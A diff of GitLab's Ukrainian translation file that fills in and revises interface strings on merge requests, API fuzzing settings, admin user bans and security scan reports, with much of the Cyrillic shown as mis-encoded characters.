msgid "%{containerScanningLinkStart}Container Scanning%{containerScanningLinkEnd} and/or %{dependencyScanningLinkStart}Dependency Scanning%{dependencyScanningLinkEnd} must be enabled. %{securityBotLinkStart}GitLab-Security-Bot%{securityBotLinkEnd} will be the author of the auto-created merge request. %{moreInfoLinkStart}More information%{moreInfoLinkEnd}."
msgstr "%{containerScanningLinkStart}Ð¡ÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ¹Ð½ÐµÑ€Ñ–Ð²%{containerScanningLinkEnd} та/або %{dependencyScanningLinkStart}ÑÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð°Ð»ÐµÐ¶Ð½Ð¾Ñтей%{dependencyScanningLinkEnd} мають бути ввімкнені. %{securityBotLinkStart}GitLab-Security-Bot%{securityBotLinkEnd} буде автором автоматично Ñтвореного запиту на злиттÑ. %{moreInfoLinkStart}Додаткова інформаціÑ%{moreInfoLinkEnd}."
@@ -620,19 +627,19 @@ msgid "%{count} related %{pluralized_subject}: %{links}"
msgstr "%{count} пов’Ñзаних %{pluralized_subject}: %{links}"
msgid "%{count} total weight"
-msgstr ""
+msgstr "%{count} загальна вага"
msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
-msgstr ""
+msgstr "%{criticalStart}%{critical} Критичний%{criticalEnd} %{highStart}%{high} ВиÑокий%{highEnd} Ñ– %{otherStart}%{otherMessage}%{otherEnd}"
msgid "%{dashboard_path} could not be found."
-msgstr ""
+msgstr "%{dashboard_path} не знайдено."
msgid "%{days} days until tags are automatically removed"
msgstr "%{days} днів до того, Ñк теги будуть видалені автоматично"
msgid "%{deployLinkStart}Use a template to deploy to ECS%{deployLinkEnd}, or use a docker image to %{commandsLinkStart}run AWS commands in GitLab CI/CD%{commandsLinkEnd}."
-msgstr ""
+msgstr "%{deployLinkStart}ВикориÑтовуйте шаблон Ð´Ð»Ñ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð½Ð° ECS%{deployLinkEnd}, або викориÑтовуйте образ докера, щоб %{commandsLinkStart} запуÑкати команди AWS у GitLab CI / CD%{commandsLinkEnd}."
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr "%{description}- Ð¿Ð¾Ð´Ñ–Ñ Ñƒ Sentry: %{errorUrl}- Вперше помічено: %{firstSeen}- ВоÑтаннє помічено: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
@@ -641,7 +648,7 @@ msgid "%{doc_link_start}Advanced search%{doc_link_end} is disabled since %{ref_e
msgstr "%{doc_link_start}Розширений пошук%{doc_link_end} вимкнено, оÑкільки %{ref_elem} не Ñ” гілкою за замовчуваннÑм; %{default_branch_link_start}пошук на %{default_branch} заміÑÑ‚ÑŒ%{default_branch_link_end}."
msgid "%{doc_link_start}Advanced search%{doc_link_end} is enabled."
-msgstr ""
+msgstr "%{doc_link_start}Розширений пошук%{doc_link_end} увімкнено."
msgid "%{due_date} (Past due)"
msgstr "%{due_date} (з проÑтроченнÑм)"
@@ -677,19 +684,16 @@ msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr "%{firstMilestoneName} + %{numberOfOtherMilestones} більше"
msgid "%{gitlab_experience_text}. Don't worry, this information isn't shared outside of your self-managed GitLab instance."
-msgstr ""
+msgstr "%{gitlab_experience_text}. Ðе хвилюйтеÑÑ, Ñ†Ñ Ñ–Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ñ–Ñ Ð½Ðµ поширюєтьÑÑ Ð¿Ð¾Ð·Ð° вашим екземплÑром GitLab."
msgid "%{gitlab_experience_text}. We won't share this information with anyone."
msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
-msgstr ""
-
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "%{group_docs_link_start}Групи%{group_docs_link_end} дозволÑÑŽÑ‚ÑŒ вам керувати Ñ– взаємодіÑти між кількома проєктами. Члени групи мають доÑтуп до уÑÑ–Ñ… Ñ—Ñ— проєктів."
+msgstr "%{global_id} не Ñ” дійÑним ідентифікатором на %{expected_types}."
msgid "%{group_name} activity"
-msgstr ""
+msgstr "%{group_name} активніÑÑ‚ÑŒ"
msgid "%{group_name} group members"
msgstr "кориÑтувачі групи %{group_name}"
@@ -698,13 +702,13 @@ msgid "%{group_name} uses group managed accounts. You need to create a new GitLa
msgstr "%{group_name} викориÑтовує облікові запиÑи керовані групою. Вам необхідно Ñтворити новий обліковий Ð·Ð°Ð¿Ð¸Ñ GitLab, Ñкий буде керуватиÑÑ %{group_name}."
msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
-msgstr ""
+msgstr "%{group_name}Ñ–%{epic_iid} &middot; Ñтворили %{epic_created} від %{author}"
msgid "%{hook_type} was deleted"
msgstr "%{hook_type} було видалено"
msgid "%{hook_type} was scheduled for deletion"
-msgstr ""
+msgstr "%{hook_type} було призначено Ð´Ð»Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ"
msgid "%{host} sign-in from new location"
msgstr "вхід на %{host} з нового розташуваннÑ"
@@ -758,7 +762,7 @@ msgid "%{labelStart}Namespace:%{labelEnd} %{namespace}"
msgstr "%{labelStart}проÑÑ‚Ñ–Ñ€ імен:%{labelEnd} %{namespace}"
msgid "%{labelStart}Scan Type:%{labelEnd} %{reportType}"
-msgstr ""
+msgstr "%{labelStart}Тип ÑкануваннÑ:%{labelEnd} %{reportType}"
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr "%{labelStart}Сканер:%{labelEnd} %{scanner}"
@@ -767,7 +771,7 @@ msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr "%{labelStart}ÐадіÑланий запит:%{labelEnd} %{headers}"
msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
-msgstr ""
+msgstr "%{labelStart}Рівень:%{labelEnd} %{severity}"
msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
@@ -790,32 +794,32 @@ msgstr "%{link_start}ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ%{link_end} про те, ÑÐ
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "%{link_start}Читати більше%{link_end} про дозволи ролей"
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow} та ще %{awardsListLength}."
msgid "%{location} is missing required keys: %{keys}"
-msgstr ""
+msgstr "%{location} відÑутні необхідні ключі: %{keys}"
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} заблоковано кориÑтувачем GitLab %{lock_user_id}"
msgid "%{markdownDocsLinkStart}Markdown%{markdownDocsLinkEnd} and %{quickActionsDocsLinkStart}quick actions%{quickActionsDocsLinkEnd} are supported"
-msgstr ""
+msgstr "%{markdownDocsLinkStart}Markdown%{markdownDocsLinkEnd} та %{quickActionsDocsLinkStart}швидкі дії%{quickActionsDocsLinkEnd} підтримуютьÑÑ"
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr "%{mergeLength}/%{usersLength} можуть виконувати злиттÑ"
msgid "%{message} showing first %{warnings_displayed}"
-msgstr ""
+msgstr "%{message} показує перший %{warnings_displayed}"
msgid "%{milestone_name} (Past due)"
-msgstr ""
+msgstr "%{milestone_name} (з проÑтроченнÑм)"
msgid "%{milestone} (expired)"
msgstr "%{milestone} (термін дії минув)"
@@ -824,7 +828,7 @@ msgid "%{milliseconds}ms"
msgstr "%{milliseconds}мÑ"
msgid "%{model_name} not found"
-msgstr ""
+msgstr "%{model_name} не знайдено"
msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText}, Ñ†Ñ Ð·Ð°Ð´Ð°Ñ‡Ð° буде закрита автоматично."
@@ -833,7 +837,7 @@ msgid "%{name_with_link} has %{percent} or less Shared Runner Pipeline minutes r
msgstr ""
msgid "%{name_with_link} has run out of Shared Runner Pipeline minutes so no new jobs or pipelines in its projects will run."
-msgstr ""
+msgstr "%{name_with_link} не виÑтачає хвилин Спільного конвеєра тому нові Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ñ‚Ð° конвеєри не будуть виконуватиÑÑ."
msgid "%{name} %{status}"
msgstr "%{name} %{status}"
@@ -848,7 +852,7 @@ msgid "%{name} found %{resultsString}"
msgstr "%{name} знайдено %{resultsString}"
msgid "%{name} is already being used for another emoji"
-msgstr ""
+msgstr "%{name} вже викориÑтовуєтьÑÑ Ð´Ð»Ñ Ñ–Ð½ÑˆÐ¾Ð³Ð¾ емодзі"
msgid "%{name} is scheduled for %{action}"
msgstr "%{name} заплановано на %{action}"
@@ -860,10 +864,10 @@ msgid "%{name}(%{url}) has %{percent} or less Shared Runner Pipeline minutes rem
msgstr ""
msgid "%{name}(%{url}) has run out of Shared Runner Pipeline minutes so no new jobs or pipelines in its projects will run."
-msgstr ""
+msgstr "%{name}(%{url}) не виÑтачає хвилин Спільного конвеєра тому нові Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ñ‚Ð° конвеєри не будуть виконуватиÑÑ."
msgid "%{name}, confirm your email address now!"
-msgstr ""
+msgstr "%{name}, підтвердіть Ñвою адреÑу електронної пошти зараз!"
msgid "%{no_of_days} day"
msgid_plural "%{no_of_days} days"
@@ -928,12 +932,18 @@ msgid "%{reportType} %{status}"
msgstr "%{reportType} %{status}"
msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
-msgstr ""
+msgstr "%{reportType} виÑвив %{totalStart}%{total}%{totalEnd} потенціал %{vulnMessage}"
msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
-msgstr ""
+msgstr "%{reportType} виÑвлено %{totalStart}немає%{totalEnd} вразливоÑÑ‚Ñ–."
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
+msgstr "%{retryButtonStart}Спробуйте знову%{retryButtonEnd} або %{newFileButtonStart}прикріпити новий файл%{newFileButtonEnd}."
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
msgstr ""
msgid "%{seconds}s"
@@ -969,7 +979,7 @@ msgid "%{size} bytes"
msgstr "%{size} байт"
msgid "%{sourceBranch} into %{targetBranch}"
-msgstr ""
+msgstr "%{sourceBranch} в %{targetBranch}"
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr "%{spammable_titlecase} було уÑпішно відправлено до Akismet."
@@ -987,10 +997,7 @@ msgid "%{state} epics"
msgstr "%{state} епіки"
msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
+msgstr "%{strongStart}ВидалÑÑ”%{strongEnd} гілку-джерело"
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1082,7 +1089,7 @@ msgid "%{timebox_type} does not support burnup charts"
msgstr ""
msgid "%{timebox_type} must have a start and due date"
-msgstr ""
+msgstr "%{timebox_type} повинні мати дату початку Ñ– завершеннÑ"
msgid "%{title} %{operator} %{threshold}"
msgstr "%{title} %{operator} %{threshold}"
@@ -1091,10 +1098,10 @@ msgid "%{title} changes"
msgstr "%{title} зміни"
msgid "%{totalCpu} (%{freeSpacePercentage}%{percentSymbol} free)"
-msgstr ""
+msgstr "%{totalCpu} (%{freeSpacePercentage}%{percentSymbol} вільно)"
msgid "%{totalMemory} (%{freeSpacePercentage}%{percentSymbol} free)"
-msgstr ""
+msgstr "%{totalMemory} (%{freeSpacePercentage}%{percentSymbol} вільно)"
msgid "%{totalWeight} total weight"
msgstr "%{totalWeight} загальна вага"
@@ -1109,7 +1116,7 @@ msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
msgid "%{type} License"
-msgstr ""
+msgstr "%{type} ЛіцензіÑ"
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "%{usage_ping_link_start}ДовідатиÑÑŒ більше%{usage_ping_link_end} про те, Ñкою інформацією Ви ділитеÑÑŒ із GitLab Inc."
@@ -1120,9 +1127,15 @@ msgstr "%{userName} (не може виконувати злиттÑ)"
msgid "%{userName}'s avatar"
msgstr "%{userName} аватар"
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr "%{user_name} Ñторінка профілю"
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1130,13 +1143,13 @@ msgid "%{username}'s avatar"
msgstr "%{username} аватар"
msgid "%{user} created a merge request: %{mr_link}"
-msgstr ""
+msgstr "%{user} Ñтворив запит на злиттÑ: %{mr_link}"
msgid "%{user} created an epic: %{epic_link}"
-msgstr ""
+msgstr "%{user} Ñтворив епік: %{epic_link}"
msgid "%{user} created an issue: %{issue_link}"
-msgstr ""
+msgstr "%{user} Ñтворив задачу: %{issue_link}"
msgid "%{value} s"
msgstr "%{value} Ñ"
@@ -1160,7 +1173,7 @@ msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
-msgstr ""
+msgstr "'%{data}' в %{location} не відповідає шаблону: %{pattern}"
msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
msgstr ""
@@ -1169,10 +1182,10 @@ msgid "'%{data}' at %{location} is not of type: %{type}"
msgstr ""
msgid "'%{data}' at %{location} is not one of: %{enum}"
-msgstr ""
+msgstr "'%{data}' в %{location} не є одним з: %{enum}"
msgid "'%{data}' at %{location} is not: %{const}"
-msgstr ""
+msgstr "'%{data}' в %{location} не: %{const}"
msgid "'%{level}' is not a valid visibility level"
msgstr "\"%{level}\" не Ñ” допуÑтимим рівнем видимоÑÑ‚Ñ–"
@@ -1186,9 +1199,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr "'%{name}' ÑÑ‚Ð°Ð´Ñ–Ñ Ð²Ð¶Ðµ Ñ–Ñнує"
-
msgid "'%{source}' is not a import source"
msgstr "\"%{source}\" не є джерелом імпорту"
@@ -1209,7 +1219,7 @@ msgid "(%{value}) has already been taken"
msgstr "(%{value}) вже зайнÑто"
msgid "(+%{count}&nbsp;rules)"
-msgstr ""
+msgstr "(+%{count}&nbsp;правил)"
msgid "(Group Managed Account)"
msgstr "(Обліковий Ð·Ð°Ð¿Ð¸Ñ ÐºÐµÑ€Ð¾Ð²Ð°Ð½Ð¾Ñ— групи)"
@@ -1218,7 +1228,7 @@ msgid "(No changes)"
msgstr "(Ðемає змін)"
msgid "(UTC %{offset}) %{timezone}"
-msgstr ""
+msgstr "(UTC %{offset}) %{timezone}"
msgid "(check progress)"
msgstr "(перевірити прогреÑ)"
@@ -1227,7 +1237,7 @@ msgid "(deleted)"
msgstr "(видалено)"
msgid "(leave blank if you don't want to change it)"
-msgstr ""
+msgstr "(залишіть порожнім, Ñкщо ви не хочете змінювати)"
msgid "(max size 15 MB)"
msgstr "(макÑимальний розмір 15 Мб)"
@@ -1267,19 +1277,19 @@ msgid "+%{approvers} more approvers"
msgstr ""
msgid "+%{extra} more"
-msgstr ""
+msgstr "+%{extra} більше"
msgid "+%{more_assignees_count}"
msgstr "+%{more_assignees_count}"
msgid "+%{more_assignees_count} more assignees"
-msgstr ""
+msgstr "+%{more_assignees_count} більше виконавців"
msgid "+%{more_reviewers_count}"
-msgstr ""
+msgstr "+%{more_reviewers_count}"
msgid "+%{more_reviewers_count} more reviewers"
-msgstr ""
+msgstr "+%{more_reviewers_count} більше оглÑдачів"
msgid "+%{tags} more"
msgstr "+%{tags} більше"
@@ -1308,7 +1318,7 @@ msgstr[2] "- КориÑтувачів"
msgstr[3] "- КориÑтувачів"
msgid "- of - weight completed"
-msgstr ""
+msgstr "- з - ваги виконано"
msgid "- show less"
msgstr "- показати менше"
@@ -1365,10 +1375,10 @@ msgstr[3] "%d днів"
msgid "1 day remaining"
msgid_plural "%d days remaining"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "ЗалишивÑÑ 1 день"
+msgstr[1] "ЗалишилоÑÑ %d дні"
+msgstr[2] "ЗалишилоÑÑ %d днів"
+msgstr[3] "ЗалишилоÑÑ %d днів"
msgid "1 deploy key"
msgid_plural "%d deploy keys"
@@ -1572,11 +1582,14 @@ msgstr "Ðе можливо отримати SSL Ñертифікат Let's Encr
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr "Обліковий Ð·Ð°Ð¿Ð¸Ñ Let's Encrypt буде налаштовано Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— інÑталÑції GitLab за допомогою вашої адреÑи електронної пошти. Ви будете отримувати лиÑти Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾ Ð·Ð°ÐºÑ–Ð½Ñ‡ÐµÐ½Ð½Ñ Ñ‚ÐµÑ€Ð¼Ñ–Ð½Ñƒ дії Ñертифікатів."
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr "Базова Ñторінка та Serverless функціÑ, що викориÑтовує AWS Lambda, AWS API Gateway та GitLab Pages"
msgid "A basic template for developing Linux programs using Kotlin Native"
-msgstr ""
+msgstr "ОÑновний шаблон розробки програм Linux за допомогою Kotlin Native"
msgid "A blocked user cannot:"
msgstr ""
@@ -1593,6 +1606,9 @@ msgstr "Видалений кориÑтувач"
msgid "A description is required"
msgstr "Потрібен опиÑ"
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr "Файл змінено."
@@ -1609,7 +1625,7 @@ msgid "A group represents your organization in GitLab. Groups allow you to manag
msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
-msgstr ""
+msgstr "Ðртефакт Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ - це архів файлів та каталогів, збережених завданнÑм піÑÐ»Ñ Ð¹Ð¾Ð³Ð¾ завершеннÑ."
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
@@ -1627,7 +1643,7 @@ msgid "A merge request approval is required when the license compliance report c
msgstr ""
msgid "A merge request hasn't yet been merged"
-msgstr ""
+msgstr "Запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ‰Ðµ не злито"
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
msgstr "Створено новий конвеєр Auto DevOps, детальну інформацію можна знайти на Ñторінці %{pipelines_link_start}Конвеєри%{pipelines_link_end}"
@@ -1662,9 +1678,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr "Проєкт — це міÑце, де ви розміщуєте Ñвої файли (репозиторій), планувати роботу (питаннÑ) Ñ– публікувати документацію (вікі), %{among_other_things_link}."
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1677,6 +1690,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr "Секретний токен Ñкий ідентфікує запити до зовнішнього Ñховища."
@@ -1696,7 +1712,7 @@ msgid "ACTION REQUIRED: Something went wrong while obtaining the Let's Encrypt c
msgstr "ÐЕОБХІДÐРДІЯ: ЩоÑÑŒ пішло не так при отриманні Ñертифікату Let's Encrypt Ð´Ð»Ñ Ð´Ð¾Ð¼ÐµÐ½Ñƒ GitLab Pages '%{domain}'"
msgid "API"
-msgstr ""
+msgstr "API"
msgid "API Fuzzing"
msgstr "API Fuzzing"
@@ -1714,28 +1730,25 @@ msgid "API key"
msgstr "API ключ"
msgid "API?"
-msgstr ""
+msgstr "API?"
msgid "APIFuzzing|$VariableWithPassword"
-msgstr ""
+msgstr "$VariableWithPassword"
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
-msgstr ""
+msgstr "Базова URL-адреÑа цілі теÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ API. Ðаприклад, http://www.example.com."
msgid "APIFuzzing|Choose a method"
msgstr ""
msgid "APIFuzzing|Choose a profile"
-msgstr ""
+msgstr "Виберіть профіль"
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
@@ -1764,30 +1777,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1803,7 +1810,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1830,6 +1837,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr "Ключ доÑтупу AWS"
@@ -2011,7 +2027,7 @@ msgid "Account and limit"
msgstr "Обліковий Ð·Ð°Ð¿Ð¸Ñ Ñ‚Ð° ліміт"
msgid "Account:"
-msgstr ""
+msgstr "Обліковий запиÑ:"
msgid "Account: %{account}"
msgstr "Обліковий запиÑ: %{account}"
@@ -2097,6 +2113,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr "Додати ненумерований ÑпиÑок"
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "Додати коментар до цього Ñ€Ñдка"
@@ -2146,7 +2165,7 @@ msgid "Add an existing issue"
msgstr "Додати Ñ–Ñнуючу задачу"
msgid "Add an impersonation token"
-msgstr ""
+msgstr "Додати токен імітуваннÑ"
msgid "Add another link"
msgstr "Додати ще одне поÑиланнÑ"
@@ -2170,7 +2189,7 @@ msgid "Add comment now"
msgstr "Додати коментар"
msgid "Add comment to design"
-msgstr ""
+msgstr "Додати коментар до дизайну"
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
@@ -2269,7 +2288,7 @@ msgid "Add to tree"
msgstr "Додати до дерева"
msgid "Add trigger"
-msgstr ""
+msgstr "Додати тригер"
msgid "Add user(s) to the group:"
msgstr "Додати кориÑтувачів до групу:"
@@ -2341,7 +2360,7 @@ msgid "Additional minutes"
msgstr "Додаткові хвилини"
msgid "Additional minutes:"
-msgstr ""
+msgstr "Додаткові хвилини:"
msgid "Additional text"
msgstr "Додатковий текÑÑ‚"
@@ -2373,6 +2392,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr "ОблаÑÑ‚ÑŒ адмініÑтратора"
@@ -2449,7 +2471,7 @@ msgid "AdminArea|Latest projects"
msgstr "ОÑтанні проєкти"
msgid "AdminArea|Latest users"
-msgstr ""
+msgstr "ОÑтанні кориÑтувачі"
msgid "AdminArea|Maintainer"
msgstr "Керівник"
@@ -2538,11 +2560,8 @@ msgstr "Змінні Ñередовища Ñ” захищеними за замоÐ
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr "Перейти до загальних налаштувань"
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
-msgstr ""
+msgstr "Зберегти оÑтанні артефакти Ð´Ð»Ñ Ð²ÑÑ–Ñ… завдань в оÑтанніх уÑпішних конвеєрах"
msgid "AdminSettings|Maximum duration of a session for Git operations when 2FA is enabled."
msgstr ""
@@ -2553,9 +2572,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr "ВідÑутній обов’Ñзковий конвеєр"
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr "Ðеобхідна ÐºÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñƒ"
@@ -2580,9 +2596,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr "Задати автоматичну %{link_start}конфігурацію контейнера%{link_end} Ð´Ð»Ñ Ñ–Ð½ÑтанÑу. Ð¦Ñ ÐºÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ¹Ð½ÐµÑ€Ñƒ буде запуÑкатиÑÑ Ð¿Ñ–ÑÐ»Ñ Ð²Ð»Ð°Ñної конфігурації проєкту."
-msgid "AdminSettings|Some settings have moved"
-msgstr "ДеÑкі Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿ÐµÑ€ÐµÐ¼Ñ–Ñ‰ÐµÐ½Ð¾"
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "Вкажіть домен, Ñкий буде викориÑтовуватиÑÑ Ð² проєкті за замовчуваннÑм Ð´Ð»Ñ Ñтадій Auto Review Apps Ñ– Auto Deploy."
@@ -2611,7 +2624,7 @@ msgid "AdminStatistics|Issues"
msgstr "Задачі"
msgid "AdminStatistics|Merge requests"
-msgstr ""
+msgstr "Запити на злиттÑ"
msgid "AdminStatistics|Milestones"
msgstr "Етапи"
@@ -2628,6 +2641,9 @@ msgstr "Сніпети"
msgid "AdminUsers|(Admin)"
msgstr "(ÐдмініÑтратор)"
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2646,6 +2662,9 @@ msgstr "2FA вимкнено"
msgid "AdminUsers|2FA Enabled"
msgstr "2FA увімкнено"
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr "ДоÑтуп"
@@ -2694,6 +2713,21 @@ msgstr "Ви впевнені?"
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
